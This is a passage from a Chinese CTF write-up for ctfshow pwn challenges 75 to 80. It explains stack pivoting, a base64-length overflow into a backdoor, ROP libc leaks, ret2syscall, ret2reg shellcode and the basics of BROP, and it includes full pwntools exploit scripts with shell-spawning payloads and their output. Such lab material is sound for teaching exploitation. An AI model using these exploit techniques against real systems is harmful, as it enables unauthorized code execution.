.text:080486F0                 push    0               ; c
.text:080486F2                 lea     eax, [ebp+s]
.text:080486F5                 push    eax             ; s
.text:080486F6                 call    _memset
.text:080486FB                 add     esp, 10h
.text:080486FE                 sub     esp, 4
.text:08048701                 push    30h ; '0'       ; nbytes
.text:08048703                 lea     eax, [ebp+s]
.text:08048706                 push    eax             ; buf
.text:08048707                 push    0               ; fd
.text:08048709                 call    _read
.text:0804870E                 add     esp, 10h
.text:08048711                 sub     esp, 8
.text:08048714                 lea     eax, [ebp+s]
.text:08048717                 push    eax
.text:08048718                 lea     eax, (aWelcomeS - 804B000h)[ebx] ; "Welcome, %s\n"
.text:0804871E                 push    eax             ; format
.text:0804871F                 call    _printf
.text:08048724                 add     esp, 10h
.text:08048727                 sub     esp, 0Ch
.text:0804872A                 lea     eax, (aWhatDoYouWantT - 804B000h)[ebx] ; "What do you want to do?"
.text:08048730                 push    eax             ; s
.text:08048731                 call    _puts
.text:08048736                 add     esp, 10h
.text:08048739                 sub     esp, 4
.text:0804873C                 push    30h ; '0'       ; nbytes
.text:0804873E                 lea     eax, [ebp+s]
.text:08048741                 push    eax             ; buf
.text:08048742                 push    0               ; fd
.text:08048744                 call    _read
.text:08048749                 add     esp, 10h
.text:0804874C                 sub     esp, 8
.text:0804874F                 lea     eax, [ebp+s]
.text:08048752                 push    eax
.text:08048753                 lea     eax, (aNothingHereS - 804B000h)[ebx] ; "Nothing here ,%s\n"
.text:08048759                 push    eax             ; format
.text:0804875A                 call    _printf
.text:0804875F                 add     esp, 10h
.text:08048762                 nop
.text:08048763                 mov     ebx, [ebp+var_4]
.text:08048766                 leave
.text:08048767                 retn
.text:08048767 ; } // starts at 80486D9
.text:08048767 ctfshow         endp

前面学的leave实质上是mov esp,ebp和pop ebp，将栈底地址赋给栈顶，然后在重新设置栈底地址

retn实质上是pop eip，设置下一条执行指令的地址

那么现在需要明确一下思路：有两个输入点

利用第一个输入点来泄露ebp的值，动调找一下buf在栈上的位置，用ebp去表示
第二个输入点输入system（/bin/sh），利用两次leave将栈迁移到buf处，执行buf里的指令，进行get shell

首先泄漏ebp的值：

构造payload：

payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp = u32(io.recv(4).ljust(4,b'\x00'))#由于payload 中没有主动填充\x00，printf 会 “溢出” 输出到 buf 之后的内存，包括 ebp（4字节）的值。

然后动态调试看一下ebp和buf的位置距离，用ebp去表示buf

$ gdb pwn
pwndbg> b ctfshow
pwndbg> r
pwndbg> n #单步执行直到第一次 read 函数执行完毕并等待输入
pwndbg> n
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaashow
pwndbg> stack 50
00:0000│ esp 0xff8b2180 ◂— 0
01:0004│-034 0xff8b2184 —▸ 0xff8b2190 ◂— 0x61616161 ('aaaa')
02:0008│-030 0xff8b2188 ◂— 0x30 /* '0' */
03:000c│-02c 0xff8b218c —▸ 0x80486e5 (ctfshow+12) ◂— add ebx, 0x291b
04:0010│ ecx 0xff8b2190 ◂— 0x61616161 ('aaaa')
... ↓        8 skipped
0d:0034│-004 0xff8b21b4 ◂— 0x776f6873 ('show')
0e:0038│ ebp 0xff8b21b8 —▸ 0xff8b210a ◂— 0x1ea78

ebp的地址是0xff8b21b8,buf的地址是0xff8b2190，两者相差0x38，我们可以用ebp-0x38来表示buf的地址

在第一次输入完后，进入到第二次输入，我们要往buf中写入system(“/bin/sh”),同时还要将栈劫持返回buf地址，然后就执行了我们想要的system(“/bin/sh”);

构造payload：

buf = ebp - 0x38
payload = (p32(system) + b'aaaa' + p32(buf + 12) + b'/bin/sh\x00').ljust(0x28,b'a')+ p32(buf-4) + p32(leave)
io.send(payload)
io.interactive()

由于程序中有system函数，我们可以直接利用前面的一部分是用来填充buf，也就是我们构造的payload【12的原因：】

偏移 0x00 ~ 0x03：system 函数地址（4字节）
偏移 0x04 ~ 0x07：填充的 'aaaa'（4字节，栈对齐用）
偏移 0x08 ~ 0x0b：p32(buf + 12)（4字节，这是 system 的参数）
偏移 0x0c ~ 0x12：'/bin/sh\x00'（7字节，字符串本身）
- buf 是起始地
- "/bin/sh\x00" 从偏移 0x0c 开始存放（0x0c 是 12 十进制），因此它的地址是 buf + 0x0c = buf + 12。

后面的p32(buf-4) + p32(leave)【栈迁移核心操作】

p32(buf-4) 是将ebp覆盖成buf的地址-4 为什么要-4？这是因为我们利用的是两个leave，但是第二个leave的pop ebp，在出栈的时候会esp+4。就会指向esp+4的位置，
p32(leave) ,将返回地址覆盖成leave

到这里，我们成功将栈劫持到了我们的buf处，接下来就会执行栈里的内容

同原理的，简单来说就是存在八个字节溢出，栈迁移，第一次泄露ebp，先得到栈上buf地址，再迁移到buf即可。

from pwn import *
context.terminal = ['tmux', 'new-window']
context.log_level='debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28109)
elf = ELF('./pwn')
system = elf.plt['system']
leave = 0x08048766
payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp = u32(io.recv(4).ljust(4,b'\x00'))
#gdb.attach(io)
print('ebp='+hex(ebp))
buf = ebp - 0x38
payload =(p32(system)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
io.send(payload)
#gdb.attach(io)
io.interactive()







from pwn import *
context.terminal('tmux','new-window')
context.log_level='debug'
io = process('./pwn')
elf=ELF('./pwn')
system=elf.plt['system']
leave=0x08048766
payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
#gdb.attach(io)
print('ebp='+hex(ebp))
buf=ebp-0x38
payload=(p32(system)+p32(0)+p32(buf+0xc)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
io.send(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 231
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
ebp=0xfff36f08
[*] Switching to interactive mode
\xb5\x87\x04\x08 o\xf3\xff4N\x02\xf3
What do you want to do?
Nothing here ,
$ ls
ctfshow_flag

pwn76

Hint：还是那句话，理清逻辑很重要

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped

32位关闭PIE部分开启RELRO，栈保护与NX是开启的，静态编译的，这里栈保护不一定是开启

接着查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-3Ch]
  int v5; // [esp+18h] [ebp-28h] BYREF
  _BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int n0xC; // [esp+3Ch] [ebp-4h]

  memset(s, 0, sizeof(s));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("CTFshow login: ", v4);
  _isoc99_scanf("%30s", s);
  memset(&input, 0, 0xCu);
  v5 = 0;
  n0xC = Base64Decode(s, &v5);
  if ( n0xC > 0xC )
  {
    puts("Input Error!");
  }
  else
  {
    memcpy(&input, v5, n0xC);
    if ( auth(n0xC) == 1 )
      correct();
  }
  return 0;
}

这里有很多的自定义函数，根据题目描述也应该知道要先理清逻辑，当然，这里很明显的有一个Base64Decode，你可以通过自己观察函数的逻辑看是否为真的是这么个逻辑,也可以动态调试一下，比如：flag的base64加密字符串→ZmxhZw==

然后动态调试看一下：

$ gdb pwn
pwndbg> b *0x80493CF
pwndbg> r
Starting program: /CTFshow_pwn/pwn
warning: Error disabling address space randomization: Operation not permitted
CTFshow login:  ZmxhZw==
pwndbg> n
b+ 0x80493cf     call   Base64Decode                

 ► 0x80493d4     mov    dword ptr [esp + 0x3c], eax     [0xffcedb0c] <= 4
   0x80493d8     cmp    dword ptr [esp + 0x3c], 0xc     0x4 - 0xc     EFLAGS => 0x200293 [ CF pfAF zf SF IF df of ac ]
   0x80493dd   ✘ ja     main+262                    

   0x80493df     mov    eax, dword ptr [esp + 0x18]     EAX, [0xffcedae8] => 0x82a29b8 ◂— 'flag'
   0x80493e3     mov    edx, dword ptr [esp + 0x3c]     EDX, [0xffcedb0c] => 4
   0x80493e7     mov    dword ptr [esp + 8], edx        [0xffcedad8] <= 4
   0x80493eb     mov    dword ptr [esp + 4], eax        [0xffcedad4] <= 0x82a29b8 ◂— 'flag'
   0x80493ef     mov    dword ptr [esp], input          [0xffcedad0] <= 0x811eb40 (input) ◂— 0
   0x80493f6     call   memcpy                      

   0x80493fb     mov    eax, dword ptr [esp + 0x3c]
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ esp 0xffcedad0 —▸ 0xffcedaee ◂— 'ZmxhZw=='
01:0004│-044 0xffcedad4 —▸ 0xffcedae8 —▸ 0x82a29b8 ◂— 'flag'
02:0008│-040 0xffcedad8 ◂— 0xc /* '\x0c' */
03:000c│-03c 0xffcedadc ◂— 0
04:0010│-038 0xffcedae0 ◂— 1
05:0014│-034 0xffcedae4 —▸ 0xffcedba4 —▸ 0xffcef6f6 ◂— '/CTFshow_pwn/pwn'
06:0018│-030 0xffcedae8 —▸ 0x82a29b8 ◂— 'flag'
07:001c│-02c 0xffcedaec ◂— 0x6d5a0001
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► 0 0x80493d4 main+199
   1 0x8059614 __libc_start_main+468
   2 0x8048dd9 _start+33

从调试能够看出确实是一个base64解密函数

int __cdecl Base64Decode(_BYTE *p_s, int *a2)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v7; // [esp+1Ch] [ebp-1Ch]
  int v8; // [esp+20h] [ebp-18h]
  int v9; // [esp+24h] [ebp-14h]
  int v10; // [esp+2Ch] [ebp-Ch]

  v10 = calcDecodeLength(p_s);
  *a2 = malloc(v10 + 1);
  v2 = strlen(p_s);
  v9 = fmemopen(p_s, v2, &unk_80DA64A);
  v3 = BIO_f_base64();
  v8 = BIO_new(v3);
  v4 = BIO_new_fp(v9, 0);
  v7 = BIO_push(v8, v4);
  BIO_set_flags(v7, 256);
  v5 = strlen(p_s);
  *(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0;
  BIO_free_all(v7);
  fclose(v9);
  return v10;
}

但是，值得注意的是，不要仅仅通过函数名去完全相信并判断它这个函数是干嘛的，当然，不可否认，大部分时间都是没错的，这里也仅仅是为了提醒一下大家。（你看到的东西不一定都是对的！！！）

继续跟进auth函数：

_BOOL4 __cdecl auth(unsigned int n0xC)
{
  _BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h] BYREF

  memcpy(&v4, &input, n0xC);
  s2 = (char *)calc_md5(v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

auth函数会生成解码内容的md5哈希值，并且与程序中保存的哈希值进行对比。

注意一下上下文，从main函数能够看到，这里的n0xC是auth的实参

v5 = 0;
n0xC = Base64Decode(s, &v5);
if ( n0xC > 0xC )
{
  puts("Input Error!");
}
else
{
  memcpy(&input, v5, n0xC); 
  if ( auth(n0xC) == 1 )
    correct();
}

n0xC是base64解码后的长度，当n0xC > 0xC(十进制 12)的时候，会输出“Input Error!”然后退出进程

但是在auth函数的memcpy中，目的地址v4所在的位置是[ebp-8],所以当v10【也就是n0xC】 = 0xC(十进制 12) 的时候，就会覆盖ebp寄存器所指向的栈基地址。

高地址
├─ [ebp+4] ：返回地址（auth执行完后回到main的地址，4字节）
├─ [ebp]    ：上一层EBP（即main函数的EBP，4字节）
├─ [ebp-4] ：局部变量s2（4字节）
├─ [ebp-8] ：局部变量v4（我们要复制数据到这里，4字节）
低地址

在main函数中，还有一个memcpy，把解码后的数据copy填充到了input地址处，在程序关闭PIE的情况下，input的地址已知，我们可以通过栈劫持指针的方式，把数据布置到input所在的bss段：

.bss:0811EB40                 public input
.bss:0811EB40 input           db    ? ;               ; DATA XREF: correct+6↑o
.bss:0811EB40                                         ; auth+D↑o ...

继续查看，程序存在后门函数：

void __noreturn correct()
{
  if ( input == -559038737 )
  {
    puts("Wow Fantastic,you deserve it!");
    system("/bin/sh");
  }
  exit(0);
}

那么思路就很清晰了，我们直接找到执行system(“/bin/sh”)的地址

.text:08049284                 mov     dword ptr [esp], offset p__bin_sh ; "/bin/sh"
.text:0804928B                 call    system

值得注意的就是，auth执行完后，会通过leave和ret指令返回main，mov ebp,esp;pop ebp的时候，esp寄存器的值要减4，所以payload的前四个字节填充垃圾数据。

当main函数结束时，由于esp=ebp+4,esp的内容存的是函数返回值地址

当然，我们在构造payload的时候需要先进行base64加密一下，然后程序进行解密，然后再达到我们控制程序执行流程的结果。

from pwn import *
import base64
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
input_addr = 0x811EB40
shell = 0x8049284
payload = b'aaaa' + p32(input_addr) + p32(shell)
payload = base64.b64encode(payload)
io.sendlineafter(b"login: ",payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 339
[*] Switching to interactive mode
hash : d1387d94f0112264f606f9f1bfeb939c
$ ls
ctfshow_flag

pwn77

Hint：Ez ROP or Mid ROP ?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位关闭Canary PIE

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  alarm(0x30u);
  puts("T^T");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

__int64 ctfshow()
{
  int v0; // eax
  __int64 result; // rax
  _BYTE v2[267]; // [rsp+0h] [rbp-110h]
  char n10; // [rsp+10Bh] [rbp-5h]
  int v4; // [rsp+10Ch] [rbp-4h]

  v4 = 0;
  while ( !feof(stdin) )
  {
    n10 = fgetc(stdin);
    if ( n10 == 10 )
      break;
    v0 = v4++;
    v2[v0] = n10;
  }
  result = v4;
  v2[v4] = 0;
  return result;
}

可以发现跟平时做的不太一样，它实现了一个类似于gets的函数，栈溢出，但是会溢出覆盖掉v4，v4是控制数组的，通过栈上的一个变量来寻址，所以我们需要计算好0x110 - 4[从v2的起始位置到v4变量的距离]刚好开始覆盖v4变量，在gets覆盖到那个变量的时候，直接把他覆盖成返回地址的地方，然后直接往返回地址写rop。

功能相似性：ctfshow()函数通过循环从标准输入读取字符并存储到缓冲区v2中，直到遇到换行符（\n，ASCII 值 10）或文件结束符（EOF）才停止，这与gets()函数读取输入直到换行符的行为一致。 

缺乏边界检查：和gets()一样，这个函数没有检查输入长度是否超过缓冲区v2的容量（267 字节）。当输入内容过长时，会发生栈溢出，覆盖后续的栈变量（如n10、v4）甚至返回地址。

缓冲区溢出风险：v2的大小是 267 字节（_BYTE v2[267]），而它在栈上的位置是[rsp+0h] [rbp-110h]，即距离栈基址rbp的偏移是 0x110（272 字节）。这意味着当输入超过 267 字节时，就会开始覆盖v2之后的栈空间，包括变量n10和v4，最终可以覆盖函数的返回地址。

终止条件：两者都以换行符作为输入结束的标志，并且会将换行符排除在存储内容之外（ctfshow()中遇到n10 == 10就break）。

$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004008e3 : pop rdi ; ret
0x0000000000400576 : ret

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi = 0x4008e3# ROPgadget找到的pop rdi; ret指令地址，用于设置函数参数 
ret = 0x400576# ret指令地址，用于栈对
fgetc_got = elf.got['fgetc']# fgetc函数的GOT表地址，用于泄露libc
main = elf.sym['main']# main函数地址，用于泄露后再次回到主程序
puts_plt = elf.plt['puts']# puts函数的PLT表地址，用于输出泄露的地址
payload = b'a'*(0x110 - 0x4) + b'\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)
#b'\x18'：v4 被修改为 0x118，写入位置：v2 + 0x118 = rbp - 0x110 + 0x118 = rbp + 8，rbp + 8 正是返回地址的位置【详细见下】
io.sendlineafter(b"T^T\n", payload)
fgetc = u64(io.recv(6).ljust(8, b"\x00"))#接收puts输出的fgetc地址（64 位地址通常前 6 字节有效），将 6，将字节流转换为 64 位整数，得到fgetc的实际内存地址，字节地址补全为 8 字节（符合 64 位数据格式）
print(hex(fgetc))
libc_base = fgetc - libc.sym['fgetc']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
print("libc_base = " + hex(libc_base)) 
payload = b'a'*(0x110 - 0x4) + b'\x18' + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)#ret栈对齐
io.sendlineafter(b"T^T\n", payload)
io.interactive()

关键原理：小端序 + 高位字节不变（学到了）

当前v4值：
- 在覆盖发生前，v4 = 268 = 0x10C
- 内存表示（小端序）：\x0C\x01\x00\x00
覆盖目标值：
- 需要 v4 = 280 = 0x118
- 内存表示（小端序）：\x18\x01\x00\x00

单字节覆盖的可行性：

原始： 0x0C 0x01 0x00 0x00
目标： 0x18 0x01 0x00 0x00
       ^
       └── 只需要修改这个字节

高位字节（0x01 0x00 0x00）已经符合要求
只需修改最低有效字节（LSB）

也可以看这个博主的解释https://blog.csdn.net/akdelt/article/details/135954144

这里有一个很坑的地方，v4 距离 rbp 4 个字节，所以我们栈溢出的时候会把 v4 也覆盖了，而 v4 是我们用来控制数组下标的，覆盖了的话就乱了，所以我们得注意 v2 输入到 ebp - 4 的时候计算 v4 的值还原回去，这时的 v4 = 0x110 - 4 +1 = 0x10d.

payload = b'a'*(0x110 - 0x4) + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)
payload = b'a'*(0x110 - 0x4) + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
#v4被定义为int类型，在 x86_64 架构中，int类型固定为4 字节（32 位）+返回地址8字节

$ python3 exp.py
[+] Starting local process './pwn': pid 404
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
0x78143aa8cf70
libc_base = 0x78143a9fe000
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn78

Hint：64位ret2syscall

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
pwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3a1087ee8a857d0726535e1646549e2ebaf043d5, not stripped

64位，静态编译。开启NX 部分开启RELRO

IDA查看：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[80]; // [rsp+0h] [rbp-50h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("CTFshowPWN!");
  puts("where is my system_x64?");
  gets(v4);
  puts("fuck");
  return 0;
}

明显的栈溢出漏洞，题目描述也说了64位的ret2syscall

与32位不同，需要注意以下几点

存储参数的寄存器名不同
ret返回的函数名不同
32位为int 0x80，64位为syscall ret

$ ROPgadget --binary ./pwn | grep "pop" | grep "ret"
0x00000000004016c3 : pop rdi ; ret
0x000000000046b9f8 : pop rax ; ret
0x00000000004377f9 : pop rdx ; pop rsi ; ret

$ ropper --file ./pwn --search "syscall; ret"
0x000000000045bac5: syscall; ret;

$ readelf -S ./pwn
[Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [25] .bss              NOBITS           00000000006c1c40  000c1c30
       0000000000002518  0000000000000000  WA       0     0     32

from pwn import *
context.log_level = 'debug'
io = process("./pwn")
pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rdx_rsi = 0x4377f9
bss = 0x6c2000
syscall = 0x45bac5
payload = cyclic(0x50+8)
payload += p64(pop_rax)+p64(0x0)# rax = 0（read系统调用号）
#read系统调用：是操作系统内核提供的底层功能（编号0），任何程序都可以通过手动设置寄存器并执行syscall指令直接调用，无需依赖库函数（就是main函数没有read函数也可以的）
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss) # rdx=0x10（读取长度）, rsi=bss（写入地址）
payload += p64(pop_rdi)+p64(0)# rdi=0（标准输入FD）
payload += p64(syscall)

payload += p64(pop_rax)+p64(0x3b)# rax=59（execve系统调用号）
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)# rdx=0, rsi=0（参数数组和环境变量为空）
payload += p64(pop_rdi)+p64(bss)# rdi=bss（指向/bin/sh字符串）
payload += p64(syscall)

io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 111
[*] Switching to interactive mode
CTFshowPWN!
where is my system_x64?
fuck
$ ls
ctfshow_flag

pwn79

Hint：你需要注意某些函数，这是解题的关键！

ret2reg原理：

查看溢出函返回时哪个寄存值指向溢出缓冲区空间
查找 call reg 或者 jmp reg 指令，将 EIP 设置为该指令地址
reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的，但通常都是栈上的)

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX disabled
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No
  Debuginfo:  Yes

32位程序，仅部分开启RELRO

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int input[512]; // [esp+0h] [ebp-808h] BYREF
  int *p_argc; // [esp+800h] [ebp-8h]

  p_argc = &argc;
  init();
  logo();
  printf("Enter your input: ");
  fgets((char *)input, 2048, stdin);
  ctfshow((char *)input);
  return 0;
}

可以看到除去初始化与logo后，程序打印了一个提示信息：Enter your input:

然后从标准输入中读取用户输入的数据到 input 数组，最多读取 2048 字节，将用户输入的数据传递给ctfshow 函数进行处理，继续跟进ctfshow函数：

void __cdecl ctfshow(char *input)
{
  char buf[516]; // [esp+0h] [ebp-208h] BYREF

  strcpy(buf, input);
}

函数的主要逻辑是将传递给它的 input 字符串复制到 buf 数组中，这种复制使用了 strcpy 函数。需要注意的是，存在缓冲区溢出，因为 strcpy 函数不会检查目标缓冲区的大小。如果 input 字符串的长度超过了 buf 数组的大小，就可能导致数据溢出到栈上其他部分。程序中又有可读可写可执行的段，那么我们的利用思路就很明显了，让我们来逐步调试。

先去寻找寄存器执向的缓冲区：

在gdb中ctfshow函数的leave处下个断点，看程序返回时，缓冲区指向哪个寄存器

pwndbg> disass ctfshow
Dump of assembler code for function ctfshow:
   0x0804867e <+0>:push   ebp
   0x0804867f <+1>:mov    ebp,esp
   0x08048681 <+3>:push   ebx
   0x08048682 <+4>:sub    esp,0x204
   0x08048688 <+10>:call   0x804872c <__x86.get_pc_thunk.ax>
   0x0804868d <+15>:add    eax,0x1973
   0x08048692 <+20>:sub    esp,0x8
   0x08048695 <+23>:push   DWORD PTR [ebp+0x8]
   0x08048698 <+26>:lea    edx,[ebp-0x208]
   0x0804869e <+32>:push   edx
   0x0804869f <+33>:mov    ebx,eax
   0x080486a1 <+35>:call   0x80483d0 
   0x080486a6 <+40>:add    esp,0x10
   0x080486a9 <+43>:nop
   0x080486aa <+44>:mov    ebx,DWORD PTR [ebp-0x4]
   0x080486ad <+47>:leave
   0x080486ae <+48>:ret
End of assembler dump.

打好0x080486ad断点后运行程序，输入“show” 可以看到 EAX ,ECX ,EDX 寄存器是指向缓冲区的

EAX  0xffc76220 ◂— 'show\n'
EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1
ECX  0xffc76440 ◂— 'show\n'
EDX  0xffc76220 ◂— 'show\n'
EDI  0xee0edb60 (_rtld_global_ro) ◂— 0
ESI  0x8048730 (__libc_csu_init) ◂— push ebp
EBP  0xffc76428 —▸ 0xffc76c48 ◂— 0
ESP  0xffc76220 ◂— 'show\n'
EIP  0x80486ad (ctfshow+47) ◂— leave

再查看一下返回地址偏移量

pwndbg> stack ebp+8 
#ebp+8查看函数返回地址的常用方式【buf：0x204  +4+4=0x20c】
...
83:020c│+004         0xffc7642c —▸ 0x804871a (main+107) ◂— add esp, 0x10
#超过这个20c长度的输入就会覆盖返回地址,这也是后续利用 ret2reg 技术时需要填充的偏移量。

然后我们去寻找call / jmp 指令：

$ objdump -D -M intel pwn | egrep "eax|edx" | egrep "call|jmp"
 80484a0:ff d0                call   eax
 80484ed:ff d2                call   edx
 8048ce7:ff ac 00 00 00 90 f7 jmp    FWORD PTR [eax+eax*1-0x8700000]
 8048d0f:ff 2c 01             jmp    FWORD PTR [ecx+eax*1]
 8048d17:ff 60 01             jmp    DWORD PTR [eax+0x1]
#或者
$ ROPgadget --binary pwn --only "call|jmp"
Gadgets information
============================================================
0x080485a6 : call 0xf05585aa
0x080485b8 : call 0xf05585bc
0x08048442 : call dword ptr [eax + 0x51]
0x08048596 : call dword ptr [eax - 0x18]
0x0804843b : call dword ptr [eax - 0x73]
0x0804869d : call dword ptr [edx - 0x77]
0x080484a0 : call eax
0x080484ed : call edx
0x08048bbf : jmp 0x2825345b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp dword ptr [eax + 1]
0x08048cff : jmp esp

Unique gadgets found: 20

这里我们选取call_eax，然后再进行构造我们的payload。【edx不行，ai说，在函数返回过程中（leave 和 ret 指令执行时），edx 的值可能被隐式修改。在 x86 调用约定中，eax 常被用作返回值寄存器，在函数返回前通常会保持稳定。因此 call eax 更可能准确跳转到缓冲区中的 shellcode。】

payload=flat([shellcode,b'a'*(0x20c-len(shellcode)),call_eax])

from pwn import*
context(arch='i386',os='linux',log_level='debug')
io=process("./pwn")
shellcode=asm(shellcraft.sh())
call_eax=p32(0x80484A0)
payload=flat([shellcode,b'a'*(0x20c-len(shellcode)),call_eax])
io.recv()
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 173
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn80

–>BROP
BROP全称为”BlindROP”，一般在我们无法获得二进制文件的情况下利用 ROP进行远程攻击某个应用程序，劫持该应用程序的控制流，我们可以不需要知道该应用程序的源代码或者任何二进制代码，该应用程序可以被现有的一些保护机制，诸如NX, ASLR, PIE, 以及stack canaries等保护，应用程序所在的服务器可以是32位系统或者64位系统，BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。
要利用BROP，有两个先决条件：

程序必须存在一个已知漏洞（一般是栈溢出漏洞或者格式化字符串漏洞），并且攻击者知道如何触发该漏洞；
应用程序在crash之后可以重新启动，并且重新启动的进程不会被re-rand(虽然有ASLR的保护，但是复活的进程和之前的进程的地址随机化是一样的)，这个需求其实在现实中是存在且合理的，诸如像如今的nginx, MySQL, Apache, OpenSSH, Samba等应用均符合此类特性

–>BROP攻击思路
因此BROP的攻击思路一般有以下几个步骤：

暴力枚举，获取栈溢出长度，如果程序开启了Canary ，顺便将canary也可以爆出来
寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
利用stop_gadget寻找可利用(potentially useful)gadgets，如:pop rdi; ret
寻找BROP Gadget，可能需要诸如write、put等函数的系统调用
寻找相应的PLT地址
dump远程内存空间
拿到相应的GOT内容后，泄露出libc的内存信息，最后利用rop完成getshell

知识点1-stop_gadget：一般情况下，如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话，程序有很大可能性会挂掉（比如，该return address指向了一段代码区域，里面会有一些对空指针的访问造成程序crash，从而使得攻击者的连接（connection）被关闭）。但是，存在另外一种情况，即该return address指向了一块代码区域，当程序的执行流跳到那段区域之后，程序并不会crash，而是进入了无限循环，这时程序仅仅是hang在了那里，攻击者能够一直保持连接状态。于是，我们把这种类型的gadget，成为stop gadget，这种gadget对于寻找其他gadgets取到了至关重要的作用。

知识点2-可利用的(potentially useful)gadgets：假设现在我们猜到某个useful gadget，比如pop rdi;ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址，如果该地址是一个非法地址，那么进程最后还是会crash，在这个过程中攻击者其实并不知道这个useful gadget被执行过了（因为在攻击者看来最后的效果都是进程crash了），因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget，从而放弃它。这个步骤如下图所示：

┌───────────────────────────────────────────────┐
│                  Stack Memory                 │
├───────────┬───────────────┬───────────┬──────-┤
│ buffer    │ return addr   │ 0xdead    │ 0xdead│
